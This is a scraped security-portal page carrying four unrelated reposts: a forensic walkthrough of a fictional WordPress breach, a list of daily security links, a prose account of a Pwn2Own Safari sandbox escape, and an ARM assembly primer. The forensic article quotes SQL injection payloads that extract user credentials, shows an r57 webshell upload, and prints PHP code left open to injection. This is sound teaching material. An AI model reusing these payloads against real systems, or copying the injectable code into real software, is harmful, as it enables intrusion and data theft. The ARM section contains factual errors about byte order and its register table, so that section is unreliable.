Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

【技术分享】调查Web应用攻击事件:如何通过服务器日志文件追踪攻击者

$
0
0
【技术分享】调查Web应用攻击事件:如何通过服务器日志文件追踪攻击者

2017-07-07 10:29:37

阅读:272次
点赞(0)
收藏
来源: dzone.com





【技术分享】调查Web应用攻击事件:如何通过服务器日志文件追踪攻击者

作者:WisFree





【技术分享】调查Web应用攻击事件:如何通过服务器日志文件追踪攻击者

译者:WisFree

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


如果你想寻找那些让你系统遭受攻击的漏洞或起因的话,我建议你可以从日志记录开始着手调查。

存储在服务器端的日志文件是一种非常有价值的信息,几乎所有的服务器、在线服务和应用程序都会提供各种各样的日志信息。但你真的知道日志文件到底为何物吗?日志文件可以记录一个服务或应用程序在运行过程中所发生的事件和活动。那为什么日志文件会如此重要呢?因为日志文件可以让我们对服务器的所有行为一目了然,日志会告诉我们一台服务器在什么时候被什么人用什么样的方式访问过,而这些信息不仅可以帮助我们监控服务器或应用程序的性能和异常信息,而且还可以帮助我们调试应用程序。更重要的是,日志可以帮助取证调查人员分析可能那些导致恶意活动的事件链。

接下来,我以一台Web服务器作为例子来进行讲解。一般来说,Apache HTTP服务器会提供两种主要的日志文件,即access.log和error.log。access.log会记录所有针对文件的请求,如果访问者请求了www.example.com/main.php,那么下面这项日志条目便会添加到日志文件中:

88.54.124.17--[16/Apr/2016:07:44:08+0100]"GET/main.phpHTTP/1.1"200203"-""Mozilla/5.0(windowsNT6.0;WOW64;rv:45.0)Gecko/20100101Firefox/45.0"
上面这条日志信息描述的是:一名访问者请求获取main.php文件,他的IP地址为88.54.124.178,请求时间为2016年4月16日07时44分,请求状态为“成功”。

你可能会认为这些信息并没有什么意义,那如果服务器记录下的是:访问者(IP:88.54.124.178)在2016年4月16日07时44分请求访问了dump_database.php文件,并且请求成功,那么这下可就麻烦了!

如果没有日志文件的话,你可能永远都不会知道谁访问过你的服务器,或谁导出过你的数据库记录。而且更加可怕的是,你永远都不会知道谁在你的服务器中运行过恶意脚本…

既然大家都已经知道了日志文件的重要性,那么接下来让我们一起看一看在日常工作中日志文件如何帮助我们确认网站是如何被攻击的。


分析调查

我们先假设下面这种场景:我们所管理的一个网站遭到了攻击,该网站非常的简单,这是一个过期的WordPress站点,运行在最新版的Ubuntu服务器上。

【技术分享】调查Web应用攻击事件:如何通过服务器日志文件追踪攻击者

发现网站被攻击之后,取证团队迅速将服务器下线,以便进行下一步的分析调查。

隔离服务器是为了保持系统当前的状态以及相关的日志记录,并防止远程攻击者和其他的网络设备继续访问该服务器。调查分析的目的是识别出该Web服务器上所发生的恶意活动,为了保证调查数据的完整性,我们首先要对目标服务器进行备份,然后对克隆出来的服务器镜像进行分析。不过考虑到我们并不打算追究攻击者的法律责任,所以我们可以直接在原始数据上进行分析研究。


调查过程中需要的证据

在开始调查之前,首先得确定我们需要那些证据。一般来说,攻击证据包含攻击者对隐藏文件或关键文件得访问记录、对管理员权限区域内的非授权访问、远程代码执行、SQL注入、文件包含、跨站脚本(XSS)以及其他的一些异常活动,而这些证据从一定程度上可以代表攻击者所进行的漏洞扫描以及侦察活动。

假设在我们的场景中,Web服务器的access.log是可获取的:

root@secureserver:/var/log/apache2#lessaccess.log
access.log的体积一般都非常庞大,通常包含成千上万条请求记录:
84.55.41.57--[16/Apr/2016:20:21:56+0100]"GET/john/index.phpHTTP/1.1"2003804"-""Mozilla/5.0(WindowsNT6.0;WOW64;rv:45.0)Gecko/20100101Firefox/45.0"
84.55.41.57--[16/Apr/2016:20:21:56+0100]"GET/john/assets/js/skel.min.jsHTTP/1.1"2003532"http://www.example.com/john/index.php""Mozilla/5.0(WindowsNT6.0;WOW64;rv:45.0)Gecko/20100101Firefox/45.0"
84.55.41.57--[16/Apr/2016:20:21:56+0100]"GET/john/images/pic01.jpgHTTP/1.1"2009501"http://www.example.com/john/index.php""Mozilla/5.0(WindowsNT6.0;WOW64;rv:45.0)Gecko/20100101Firefox/45.0"
84.55.41.57--[16/Apr/2016:20:21:56+0100]"GET/john/images/pic03.jpgHTTP/1.1"2005593"http://www.example.com/john/index.php""Mozilla/5.0(WindowsNT6.0;WOW64;rv:45.0)Gecko/20100101Firefox/45.0"
你想要一行一行地检查这些数据几乎是不现实的,所以我们要筛选出有用的数据,比如说类似图片或CSS样式表这样的资源数据,有的调查人员还会筛选出javascript文件等等。

在我们的场景中,由于网站运行的是WordPress,所以我们需要筛选出access.log文件中与WordPress有关的字符:

root@secureserver:~#cat/var/log/apache2/access.log|grep-E"wp-admin|wp-login|POST/"
上面这行命令会将access.log文件中包含wp-admin、wp-login以及POST等关键字的记录筛选出来。其中,wp-admin是WordPress的默认管理员文件夹,wp-login是WordPress的登陆文件,POST方法表明发送至服务器端的HTTP请求使用的是POST方法,一般来说都是登录表单提交。

过滤结果包含多条数据,在经过仔细分析之后,我们将注意力主要集中在以下数据上:

84.55.41.57--[17/Apr/2016:06:52:07+0100]"GET/wordpress/wp-admin/HTTP/1.1"20012349"http://www.example.com/wordpress/wp-login.php""Mozilla/5.0(WindowsNT6.0;WOW64;rv:45.0)Gecko/20100101Firefox/45.0"
我们可以看到,IP地址84.55.41.57成功访问了WordPress管理员目录。

接下来,我们看一看这个IP地址还做了些什么。这里我们还得使用grep命令来过滤access.log中包含这个IP地址的日志条目:

root@secureserver:~#cat/var/log/apache2/access.log|grep84.55.41.57
搜索结果如下:
84.55.41.57--[17/Apr/2016:06:57:24+0100]"GET/wordpress/wp-login.phpHTTP/1.1"2001568"-"
84.55.41.57--[17/Apr/2016:06:57:31+0100]"POST/wordpress/wp-login.phpHTTP/1.1"3021150"http://www.example.com/wordpress/wp-login.php"
84.55.41.57--[17/Apr/2016:06:57:31+0100]"GET/wordpress/wp-admin/HTTP/1.1"20012905"http://www.example.com/wordpress/wp-login.php"
84.55.41.57--[17/Apr/2016:07:00:32+0100]"POST/wordpress/wp-admin/admin-ajax.phpHTTP/1.1"200454"http://www.example.com/wordpress/wp-admin/"
84.55.41.57--[17/Apr/2016:07:00:58+0100]"GET/wordpress/wp-admin/theme-editor.phpHTTP/1.1"20020795"http://www.example.com/wordpress/wp-admin/"
84.55.41.57--[17/Apr/2016:07:03:17+0100]"GET/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentysixteenHTTP/1.1"2008092"http://www.example.com/wordpress/wp-admin/theme-editor.php"
84.55.41.57--[17/Apr/2016:07:11:48+0100]"GET/wordpress/wp-admin/plugin-install.phpHTTP/1.1"20012459"http://www.example.com/wordpress/wp-admin/plugin-install.php?tab=upload"
84.55.41.57--[17/Apr/2016:07:16:06+0100]"GET/wordpress/wp-admin/update.php?action=install-plugin&plugin=file-manager&_wpnonce=3c6c8a7fcaHTTP/1.1"2005698"http://www.example.com/wordpress/wp-admin/plugin-install.php?tab=search&s=file+permission"
84.55.41.57--[17/Apr/2016:07:18:19+0100]"GET/wordpress/wp-admin/plugins.php?action=activate&plugin=file-manager%2Ffile-manager.php&_wpnonce=bf932ee530HTTP/1.1"302451"http://www.example.com/wordpress/wp-admin/update.php?action=install-plugin&plugin=file-manager&_wpnonce=3c6c8a7fca"
84.55.41.57--[17/Apr/2016:07:21:46+0100]"GET/wordpress/wp-admin/admin-ajax.php?action=connector&cmd=upload&target=l1_d3AtY29udGVudA&name%5B%5D=r57.php&FILES=&_=1460873968131HTTP/1.1"200731"http://www.example.com/wordpress/wp-admin/admin.php?page=file-manager_settings"
84.55.41.57--[17/Apr/2016:07:22:53+0100]"GET/wordpress/wp-content/r57.phpHTTP/1.1"2009036"-"
84.55.41.57--[17/Apr/2016:07:32:24+0100]"POST/wordpress/wp-content/r57.php?14HTTP/1.1"2008030"http://www.example.com/wordpress/wp-content/r57.php?14"
84.55.41.57--[17/Apr/2016:07:29:21+0100]"GET/wordpress/wp-content/r57.php?29HTTP/1.1"2008391"http://www.example.com/wordpress/wp-content/r57.php?28"
84.55.41.57--[17/Apr/2016:07:57:31+0100]"POST/wordpress/wp-admin/admin-ajax.phpHTTP/1.1"200949http://www.mywebsite.com/wordpress/wp-admin/admin.php?page=file-manager_settings
我们可以看到,攻击者访问了网站的登录界面:
84.55.41.57-GET/wordpress/wp-login.php200
攻击者提交了登录表单(POST方法),网站重定向成功(302 HTTP状态码):
84.55.41.57-POST/wordpress/wp-login.php302
攻击者被重定向到了wp-admin(WordPress仪表盘),这意味着攻击者成功通过了身份验证:
84.55.41.57-GET/wordpress/wp-admin/200
攻击者访问了网站的主题编辑器:
84.55.41.57-GET/wordpress/wp-admin/theme-editor.php200
攻击者尝试去编辑404.php文件,很多攻击者都会向这个文件注入恶意代码,这是一种常见的攻击技巧。但由于缺少文件写入权限,所以攻击者没能成功:
84.55.41.57-GET/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentysixteen200
攻击者还访问了插件安装器:
84.55.41.57-GET/wordpress/wp-admin/plugin-install.php200
攻击者安装并激活了file-namager插件:
84.55.41.57-GET/wordpress/wp-admin/update.php?action=install-plugin&plugin=file-manager&_wpnonce=3c6c8a7fca200
84.55.41.57-GET/wordpress/wp-admin/plugins.php?action=activate&plugin=file-manager%2Ffile-manager.php&_wpnonce=bf932ee530200
攻击者使用file-namager插件上传了r57.php(一个PHP Webshell脚本):
84.55.41.57-GET/wordpress/wp-admin/admin-ajax.php?action=connector&cmd=upload&target=l1_d3AtY29udGVudA&name%5B%5D=r57.php&FILES=&_=1460873968131200
日志表明,攻击者成功运行了r57 Shell脚本。查询字符串”?1”和”?28”表明攻击者通过脚本代码进行了网站导航,不过他什么也没有发现:
84.55.41.57-GET/wordpress/wp-content/r57.php200
84.55.41.57-POST/wordpress/wp-content/r57.php?1200
84.55.41.57-GET/wordpress/wp-content/r57.php?28200
攻击者最后的一项操作是通过file-manager插件编辑主题的index文件并将其内容替换成了单词”HACKED!”:
84.55.41.57-POST/wordpress/wp-admin/admin-ajax.php200-http://www.
example.com/wordpress/wp-admin/admin.php?page=file-manager_settings
根据上述信息。我们得到了攻击者所有恶意活动的时间轴。但目前还有一个问题没有弄清楚,即攻击者一开始是如何得到管理员凭证的?

假设管理员密码既没有泄漏也没有被暴力破解,那么我们就得回头看看我们是不是忽略了什么信息。

当前这份access.log中并不包含任何有关管理员凭证得线索,不过我们并不是只有一个access.log文件可以调查。Apache HTTP服务器中还提供了很多其他的日志文件,比如说/var/log/apache2/目录下就有四个可以调查的日志文件。首先,我们可以过滤出包含IP地址 84.55.41.57的日志条目。我们发现,其中有一份日志文件中包含了大量与SQL注入攻击(貌似针对的是一个自定义插件)有关的记录信息:

84.55.41.57--[14/Apr/2016:08:22:130100]"GET/wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=1AND(SELECT6810FROM(SELECTCOUNT(*),CONCAT(0x7171787671,(SELECT(ELT(6810=6810,1))),0x71707a7871,FLOOR(RAND(0)*2))xFROMINFORMATION_SCHEMA.CHARACTER_SETSGROUPBYx)a)HTTP/1.1"200166"-""Mozilla/5.0(Windows;U;WindowsNT6.1;ru;rv:1.9.2.3)Gecko/20100401Firefox/4.0(.NETCLR3.5.30729)"
84.55.41.57--[14/Apr/2016:08:22:130100]"GET/wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=(SELECT7505FROM(SELECTCOUNT(*),CONCAT(0x7171787671,(SELECT(ELT(7505=7505,1))),0x71707a7871,FLOOR(RAND(0)*2))xFROMINFORMATION_SCHEMA.CHARACTER_SETSGROUPBYx)a)HTTP/1.1"200166"-""Mozilla/5.0(Windows;U;WindowsNT6.1;ru;rv:1.9.2.3)Gecko/20100401Firefox/4.0(.NETCLR3.5.30729)"
84.55.41.57--[14/Apr/2016:08:22:130100]"GET/wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=(SELECTCONCAT(0x7171787671,(SELECT(ELT(1399=1399,1))),0x71707a7871))HTTP/1.1"200166"-""Mozilla/5.0(Windows;U;WindowsNT6.1;ru;rv:1.9.2.3)Gecko/20100401Firefox/4.0(.NETCLR3.5.30729)"
84.55.41.57--[14/Apr/2016:08:22:270100]"GET/wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=1UNIONALLSELECTCONCAT(0x7171787671,0x537653544175467a724f,0x71707a7871),NULL,NULL--HTTP/1.1"200182"-""Mozilla/5.0(Windows;U;WindowsNT6.1;ru;rv:1.9.2.3)Gecko/20100401Firefox/4.0(.NETCLR3.5.30729)"
我们假设这个插件是系统管理员从网上直接下载并拷贝到网站之中的,而这个脚本可以根据给定的ID来查询用户的合法性。该插件在网站的主页面中提供了一个表单,该表单会向/wordpress/wp-content/plugins/custom_plugin/check_user.php发送一个AJAX GET请求。

通过对check_user.php文件进行了分析之后,我们发现这个脚本的代码写得非常烂,而且存在SQL注入漏洞:

<?php
//IncludetheWordPressheader
include('/wordpress/wp-header.php');
global$wpdb;
//UsetheGETparameter‘userid’asuserinput
$id=$_GET['userid'];
//MakeaquerytothedatabasewiththevaluetheusersuppliedintheSQLstatement
$users=$wpdb->get_results("SELECT*FROMusersWHEREuser_id=$id");
?>
上述信息表明,攻击者使用了SQL注入工具来利用这个插件所带来的SQL注入漏洞,而且这款漏洞利用工具尝试了多种SQL注入技术来枚举数据库名、表名和列名:
/wordpress/wp-content/plugins/my_custom_plugin/check_user.php?userid=-6859UNIONALLSELECT(SELECTCONCAT(0x7171787671,IFNULL(CAST(IDASCHAR),0x20),0x616474686c76,IFNULL(CAST(display_nameASCHAR),0x20),0x616474686c76,IFNULL(CAST(user_activation_keyASCHAR),0x20),0x616474686c76,IFNULL(CAST(user_emailASCHAR),0x20),0x616474686c76,IFNULL(CAST(user_loginASCHAR),0x20),0x616474686c76,IFNULL(CAST(user_nicenameASCHAR),0x20),0x616474686c76,IFNULL(CAST(user_passASCHAR),0x20),0x616474686c76,IFNULL(CAST(user_registeredASCHAR),0x20),0x616474686c76,IFNULL(CAST(user_statusASCHAR),0x20),0x616474686c76,IFNULL(CAST(user_urlASCHAR),0x20),0x71707a7871)FROMwp.wp_usersLIMIT0,1),NULL,NULL--
注:有关SQL注入漏洞的解决方案请参考这篇文章。

上述信息足以表明网站的WordPress数据库遭到了攻击,而数据库中存储的数据很可能已经发生了泄露。


分析

通过此次调查,我们得出了攻击者的攻击事件链。

【技术分享】调查Web应用攻击事件:如何通过服务器日志文件追踪攻击者

不过现在还有很多问题没解决,比如说攻击者到底是谁?目前来说,我们只知道攻击者的IP地址,而且攻击者一般都会使用代理服务器或类似Tor这样的匿名网络来掩盖其真实的IP地址。除非攻击者留下了与他真实身份有关的证据,否则我们很难得知攻击者的真实身份。

在对日志记录进行了分析之后我们得知,网站管理员所使用的那款自定义WordPress插件中存在安全漏洞,并导致了SQL注入攻击的发生。但如果网站在真正上线之前进行了完整的安全漏洞测试的话,攻击者肯定就无法利用这种漏洞来实施攻击了。

在上面这个我虚构出的场景中,攻击者其实是非常草率的,因为他留下了大量攻击痕迹和取证证据,而这些信息将给调查人员提供很大的帮助。但在真实的攻击场景中,攻击者可不会留下多少有用的信息。





【技术分享】调查Web应用攻击事件:如何通过服务器日志文件追踪攻击者
【技术分享】调查Web应用攻击事件:如何通过服务器日志文件追踪攻击者
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://dzone.com/articles/using-logs-to-investigate-a-web-application-attack

【知识】7月7日 - 每日安全知识热点

$
0
0
【知识】7月7日 - 每日安全知识热点

2017-07-07 10:01:24

阅读:540次
点赞(0)
收藏
来源: 安全客





【知识】7月7日 - 每日安全知识热点

作者:adlab_puky





【知识】7月7日 - 每日安全知识热点

热点概要:Pwn2Own:Safari 沙箱逃逸(part 1、part 2和PoC)、php通用gadget链:在未知环境中利用反序列化对象、BadGPO - 利用组策略对象保持持久性和横向运动的、BIND安全绕过漏洞CVE-2017-3143分析、基于碰撞的哈希算法、Apache CVE-2017-7659漏洞重现及利用分析、利用"Hearthstone"逃逸VMware 、利用一个堆溢出漏洞实现VMware虚拟机逃逸


资讯类:

维基解密披露CIA植入窃取SSH凭证

http://thehackernews.com/2017/07/ssh-credential-hacking.html


技术类:

Pwn2Own:Safari 沙箱逃逸(part 1、part 2和PoC)

https://phoenhex.re/2017-06-09/pwn2own-diskarbitrationd-privesc

https://phoenhex.re/2017-07-06/pwn2own-sandbox-escape

https://github.com/phoenhex/files/tree/master/exploits/safari-sbx


LovenseIOT情趣玩具的漏洞分析

http://elladodelnovato.blogspot.com.es/2017/07/understanding-and-breaking-internet-of.html


BIND安全绕过漏洞CVE-2017-3143分析

http://www.synacktiv.ninja/ressources/CVE-2017-3143_BIND9_TSIG_dynamic_updates_vulnerability_Synacktiv.pdf


BadGPO - 利用组策略对象保持持久性和横向运动的

http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_052_Willi_GPO.pdf


Apache CVE-2017-7659漏洞重现及利用分析

http://www.CodeSec.Net/vuls/139042.html


FakeNet-NG:下一代动态网络分析工具

https://www.fireeye.com/blog/threat-research/2017/07/linux-support-for-fakenet-ng.html


PHP通用gadget链:在未知环境中利用反序列化对象

https://www.ambionics.io/blog/php-generic-gadget-chains


基于碰撞的哈希算法披露

https://www.netsparker.com/blog/web-security/collision-based-hashing-algorithm-disclosure/


pineapple-101:模块审计与测试(第1部分)

https://medium.com/@edelpeon_33472/pineapple-101-modules-review-and-testing-part-1-c2afebba6ba0


Red Team Insights on HTTPS Domain Fronting Google Hosts Using Cobalt Strike

https://www.cyberark.com/threat-research-blog/red-team-insights-https-domain-fronting-google-hosts-using-cobalt-strike/


利用一个堆溢出漏洞实现VMware虚拟机逃逸

https://zhuanlan.zhihu.com/p/27733895

http://acez.re/the-weak-bug-exploiting-a-heap-overflow-in-vmware/


PDF Tricks

https://github.com/corkami/docs/blob/master/PDF/PDF.md


很不错的一个UAF漏洞讲解

https://www.purehacking.com/blog/lloyd-simon/an-introduction-to-use-after-free-vulnerabilities


了解macOS上的恶意木马--OSX/Dok

http://bobao.360.cn/learning/detail/4071.html


从形式化方法、程序分析到数据分析--二进制漏洞检测实例

http://www.edu.cn/xxh/spkt/aq/201707/t20170706_1538333.shtml


Vulnerability-Exploit-Fuzz-Mitigation 漏洞利用与挖掘思维导图

https://github.com/SilverMoonSecurity/Security-misc


学习和使用TheHive&Cortex

https://blog.thehive-project.org/2017/07/06/train-till-you-drain-thehive-cortex-vm/


PHP命令注入和参数注入

http://www.afolgado.com/2017/06/10/phpcommandiargumenti/


利用MSXSL ByPass AppLocker

https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/


ReFS弹性文件系统(Microsoft开发的新的文件系统)的深入分析

http://mo.morsi.org/blog/2014/09/13/ReFS_All_Your_Resilience_Are_Belong_To_Us/

http://mo.morsi.org/blog/2014/11/02/ReFS_Part_II_May_the_Resilience_Be_With_You/

http://mo.morsi.org/blog/2017/07/05/refs-part-iii-back-to-the-resilience/


careers.twitter.com的一个绕过CSP的XSS

https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5


商业版Skype的xss

https://blogs.securiteam.com/index.php/archives/3269


CSW2017中360Marvel Team的paper:利用"Hearthstone"逃逸VMware

https://cansecwest.com/slides/2017/CSW2017_QinghaoTang_XinleiYing_vmware_escape.pdf




【知识】7月7日 - 每日安全知识热点
【知识】7月7日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4072.html

【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分

$
0
0
【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分

2017-07-07 11:43:38

阅读:519次
点赞(0)
收藏
来源: phoenhex.re





【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分

作者:myswsun





【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分

翻译:myswsun

预估稿费:190RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门:【Pwn2Own专题】Safari沙箱逃逸第一部分

0x00 前言

之前的文章是关于macOS上的本地提权。还缺少两个部分用于Safari沙箱利用:我们需要一个具有system.volume.internal.mount权限的授权的令牌,同时还要有能力在任意目录创建符号链接。根据CVE-2017-2535/ ZDI-17-356,在苹果安全框架中的一个逻辑问题允许绕过授权的沙箱,并且CVE-2017-2534中,Speech Synthesis服务允许我们在它的上下文执行任意代码。

最终的漏洞利用链不依赖内存问题,且能够提权为root权限。事实上,只有95%是的对的。我们也能使用CVE-2017-6977,是在未沙箱化的用户层服务中的一个不引人注意的空指针引用,在代码中有很多这种情况。它本身不能被利用,但是我们需要它使服务崩溃并重启。


0x01 概述

为了利用CVE-2017-2533,diskarbitrationd的TOCTOU问题,我们需要具有下面的能力,其中一些已经具备:

访问diskarbitrationd的IPC终端

写任意目录

得到mount权限的授权令牌

创建符号链接


0x02 授权令牌和权限

在macOS中的授权令牌使用API AuthorizationCreate创建。它由服务com.apple.authd提供,其管理了活动令牌列表,捕获用户和进程的令牌创建。令牌通过API AuthorizationMakeExternalForm / AuthorizationCreateFromExternalForm在序列化和反序列化时拷贝和共享他们。外部形式只是一个在authd服务中的关联一个令牌的随机的12字节的句柄。有趣的是,在导出一个令牌后,能通过不同的进程再次导入,初始创建的令牌的进程可以退出,而不使得令牌失效。Authd只要有连接的进程引用就简单的保证令牌存活。

一个令牌和一系列权限关联,在文件/System/Library/Security/authorization.plist中有定义,有特定的规则来约束谁能获取他们(例如 “is-admin”,任何管理员用户可以获得这个权限)。可以使用AuthorizationCopyRights来给令牌添加权限。很明显,被赋予权限的令牌能作为证据,调用者被authd允许获得那个权限。这是一些macOS服务和工具(如authopen工具)如何处理授权的。

下面的Shell片段是授权框架如何工作的一个例子。它运行一个小的swift程序来获得令牌并将它导出到文件中。在这个例子中authd将打开一个对话框询问用户权限(“swift项做出改变”)是否允许。其他的权限(尤其是system.volume.internal.mount)不需要用户的交互就能获得,只需要用户在管理员组。然后,authopen再次读取并内化令牌,检查令牌是否得到需要的权限(sys.openfile.readonly./tmp/cantread.txt),然后处理打开并读取文件。注意authorize.swift进程需要一直存活,至少直到authopen再次内化令牌,因此在authd内递增了它的引用计数。


【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分

0x03 在错误的进程中执行权限检查

除了指定使用令牌能够获取哪些权限,关于沙箱化的令牌authd还有其他的限制:进程创建的令牌或者进程想要添加权限的都不能被沙箱化,或者如果他们要,沙箱规则必须包含明确的"authorization-right-obtain"规则:

【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分

老版本的authd代码是可获得的,有下面的检查实现:


【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分

我们的场景如下:我们在Safari渲染进程(WebContent)中创建一个令牌,并且将它传给diskarbitrationd。当它尝试获得system.volume.internal.mount权限时,第一个检查(关于令牌的用户,这个例子是diskarbitrationd)将绕过,但是第二个(和它的创建者有关)将失败。

注意,在这两个沙箱检查中,相应的进程是通过PID标识的。然而,正如我们之前所见,创建者进程可以退出。而且在macOS中PID的范围是0-99999且可以重用。这样的沙箱检查能在错误的进程中执行!这就是为什么我们想使得未沙箱化的服务崩溃的原因:如果我们能得到与创建我们的令牌的沙箱化的进程相同的PID,那么两个检查都能绕过,且能添加权限。

巧合的是,这个bug和CVE-2017-7004非常类似,在Pwn2Own之后的几天由谷歌Project Zero团队的Lan Beer报告,并且它能使用相同的方式在IOS中利用。

当然,如果我们短时间创建10万个进程,这个bug将被利用(在Pwn2Own上有5分钟的时间限制)。我们原来的想法是使用空指针或其他bug使得一些系统服务崩溃,并且使用launchd服务重启他们。然而,他似乎有速度的限制,因为在两次崩溃后,需要花10秒才能重启。第二个选择是使用exec(),fork()或者vfork()。他们不是太理想的选择,因为他们不被应用沙箱允许,但是有些例外。


0x04 在speechsynthesisd中执行代码

事实上只有两个服务:

1. 可以从Safari沙箱中得到

2. 有沙箱配置因此可能审查少,但是

3. 需要支持fork和创建符号连接,因此足够实现我们的利用

他们两个是com.apple.fontd和com.apple.speechsynthesisd(实现了Apple’s Speech Synthesis API)。

SpeechSynthesisRegisterModuleURL使用一个用户控制的文件路径并将它作为CFBundle,以便加载一个动态链接库,使用它作为一个语音识别插件。没有签名校验,因此在库再加初始化时能执行任意代码。只有它自身还不是很糟糕,因为这个服务是沙箱化的,但是直到macOS 10.12.4才包含了沙箱:


【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分

记住Safari渲染有目录的读写权限:


【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分

尤其是,进程能够读写:


【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分

因此在目录中伪造一个CFBundle是可能的,且在渲染时将它加载到speechsynthesisd中。这里有个bug,因为speechsynthesisd的沙箱限制比渲染少。苹果在正则表达式中确定了这个bug,在macOS 10.12.5更新中修改了:


【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分

0x05 总结

此时,我们有了所有的条件来完成沙箱逃逸:

CVE-2017-2553:创建符号链接的本地提权,和获得system.volume.internal.mount权限

CVE-2017-2535:获得上述权限,fork进程并启动未沙箱化的进程

CVE-2017-2534:创建符号链接和使用vfork()

CVE-2017-6977:nsurlstoraged(未沙箱化)中空指针引用,触发重启

完整的利用总结如下:


【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分

沙箱逃逸的完整代码在github中能找到。




【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分
【技术分享】Pwn2Own专题:Safari沙箱逃逸第二部分
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://phoenhex.re/2017-07-06/pwn2own-sandbox-escape

【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型

$
0
0
【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型

2017-07-07 11:29:16

阅读:612次
点赞(0)
收藏
来源: azeria-labs.com





【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型

作者:arnow117





【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型

译者:arnow117

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

传送门:【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍


这是ARM汇编速成系列的第二部分,将学习到ARM汇编基础,数据类型及寄存器。


ARM汇编数据类型基础

与高级语言类似,ARM也支持操作不同的数据类型。

【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型

被加载或者存储的数据类型可以是无符号(有符号)的字(words,四字节),半字(halfwords,两字节),或者字节(bytes)。这些数据类型在汇编语言中的扩展后缀为-h或者-sh对应着半字,-b或者-sb对应着字节,但是对于字并没有对应的扩展。无符号类型与有符号类型的差别是:

符号数据类型可以包含正负数所以数值范围上更低些

无符号数据类型可以放得下很大的正数但是放不了负数

这有一些要求使用对应数据类型做存取操作的汇编指令示例:

ldr=加载字,宽度四字节 ldrh=加载无符号的半字,宽度两字节 ldrsh=加载有符号的半字,宽度两字节 ldrb=加载无符号的字节 ldrsb=加载有符号的字节 str=存储字,宽度四字节 strh=存储无符号的半字,宽度两字节 strsh=存储有符号的半字,宽度两字节 strb=存储无符号的字节 strsb=存储有符号的字节

字节序

在内存中有两种字节排布顺序,大端序(BE)或者小端序(LE)。两者的主要不同是对象中的每个字节在内存中的存储顺序存在差异。一般X86中是小端序,最低的字节存储在最低的地址上。在大端机中最高的字节存储在最低的地址上。

【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型
在版本3之前,ARM使用的是小端序,但在这之后就都是使用大端序了,但也允许切换回小端序。在我们样例代码所在的ARMv6中,指令代码是以[小端序排列对齐]。但是数据访问时采取大端序还是小端序使用程序状态寄存器(CPSR)的第9比特位来决定的。
【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型

ARM寄存器

寄存器的数量由ARM版本决定。根据[ARM参考手册],在ARMv6-M与ARMv7-M的处理器中有30个32bit位宽度的通用寄存器。前16个寄存器是用户层可访问控制的,其他的寄存器在高权限进程中可以访问(但ARMv6-M与ARMv7-M除外)。我们仅介绍可以在任何权限模式下访问的16个寄存器。这16个寄存器分为两组:通用寄存器与有特殊含义的寄存器。

|#|别名|用途|

|--|--|--|

|R0|-|通用寄存器|

|R1|-|通用寄存器|

|R2|-|通用寄存器|

|R3|-|通用寄存器|

|R4|-|通用寄存器|

|R5|-|通用寄存器|

|R6|-|通用寄存器|

|R7|-|一般放系统调用号|

|R8|-|通用寄存器|

|R9|-|通用寄存器|

|R10|-|通用寄存器|

|R11|FP|栈帧指针|

|R12|IP|内部程序调用|

|R13|SP|栈指针|

|R14|LR|链接寄存器(一般存放函数返回地址)|

|R15|PC|程序计数寄存器|

|CPSR|-|当前程序状态寄存器|

下面这张表是ARM架构与寄存器与Intel架构寄存器的关系:

|ARM|描述|X86|

|--|--|--|

|R0|通用寄存器|EAX|

|R1-R5|通用寄存器|EBX,ECX,EDX,ESI,EDI|

|R6-R10|通用寄存器|-|

|R11(FP)|栈帧指针|EBP|

|R12|内部程序调用|-|

|R13(SP)|栈指针|ESP|

|R14(LR)|链接寄存器|-|

|R14(LR)|<-程序计数器/机器码指针->|EIP|

|CPSR|程序状态寄存器|EFLAGS|

R0-R12:用来在通用操作中存储临时的值,指针等。R0被用来存储函数调用的返回值。R7经常被用作存储系统调用号,R11存放着帮助我们找到栈帧边界的指针(之后会讲)。以及,在ARM的函数调用约定中,前四个参数按顺序存放在R0-R3中。

R13:SP(栈指针)。栈指针寄存器用来指向当前的栈顶。栈是一片来存储函数调用中相关数据的内存,在函数返回时会被修改为对应的栈指针。栈指针用来帮助在栈上申请数据空间。比如说你要申请一个字的大小,就会将栈指针减4,再将数据放入之前所指向的位置。

